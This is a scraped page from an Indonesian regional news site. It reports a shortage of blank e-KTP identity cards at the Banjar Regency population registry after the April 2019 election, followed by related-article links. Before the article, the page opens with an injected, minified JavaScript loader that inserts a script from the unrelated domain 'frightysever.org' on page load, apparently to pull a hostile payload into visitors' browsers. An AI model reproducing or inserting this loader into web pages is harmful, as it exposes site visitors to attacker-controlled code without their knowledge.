(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA,  Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Kabupaten Banjar kekurangan jatah blangko e-KTP elektronik yang didatangkan dari pusat, pasca Pemilu 17 April 2019 yang lalu. Begitu disampaikan Kabid Pedaftaran Pelayanan Kependudukan Disdukcapil Kabupaten Banjar Yusi Ansyari Nihe.
“Sebenarnya blangko ini merupakan bantuan dari pusat, kalau sudah habis di Disdukcapil Banjar kita langsung minta ke Jakarta, namun dari pusat pun infonya ke kita masih tidak ada,” beberanya.
Yusi mengakui blangko dari pusat terakhir dikirimkan ke Disdukcapil Banjar baru Selasa (2/3) kemarin. Setelah sekian lama pihaknya tidak menerima stock blangko, itupun blangko yang dikirimkan dalam jumlah yang sangat sedikit dan hanya digunakan untuk mencetak permintaan khusus seperti keperluan sakit, imigrasi, hingga penyandang disabilitas.
“Sebenarnya kita sudah lama kekurangan blangko namun kita sudah menerima sejak kemarin dengan jumlah 1.000 lembar,  dan itu hanya cukup mencetak untuk kebutuhan hingga dua hari saja, kengingat banyaknya permintaan masyarakat kabupaten Banjar,” akunya.
Ditambahkannya lagi,  berdasarkan permintaan masyarakat yang begitu banyaknya,  dalam sehari setidaknya Disdukcapil Banjar memerlukan 200 lembar blangko e-KTP.  Untuk menyiasati itu,  pihaknya mengeluarkan surat keterangan yang sah dan bisa dipergunakan selama 6 bukan ke depan.
Tanggapan serupa juga diutarakan Kepala Dinas Disdukcapil Capik Banjar Azwar, Kurangnya stock blangko yang ada di kantor Disdukcapil Banjar terjadi paska pemikiran 17 april yang lalu. Bahkan hingga kini pusat masih tidak konsisten untuk mengirimkan bantuan blangko yang dikirimkan tersebut.  Dampaknya Disdukcapil tidak dapat mencetak permintaan e-KTP yang begitu banyak diminta oleh masyarakat Kabupaten Banjar.
“Yang saya tahu kekurangan blangko ini tidak hanya kita saja Kabupaten Banjar namun se kalsel kita semua kekurangankekurangan memang dari pusat, kekurangan ini kita rasakan sebelum pemilu kemarin,” akunya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.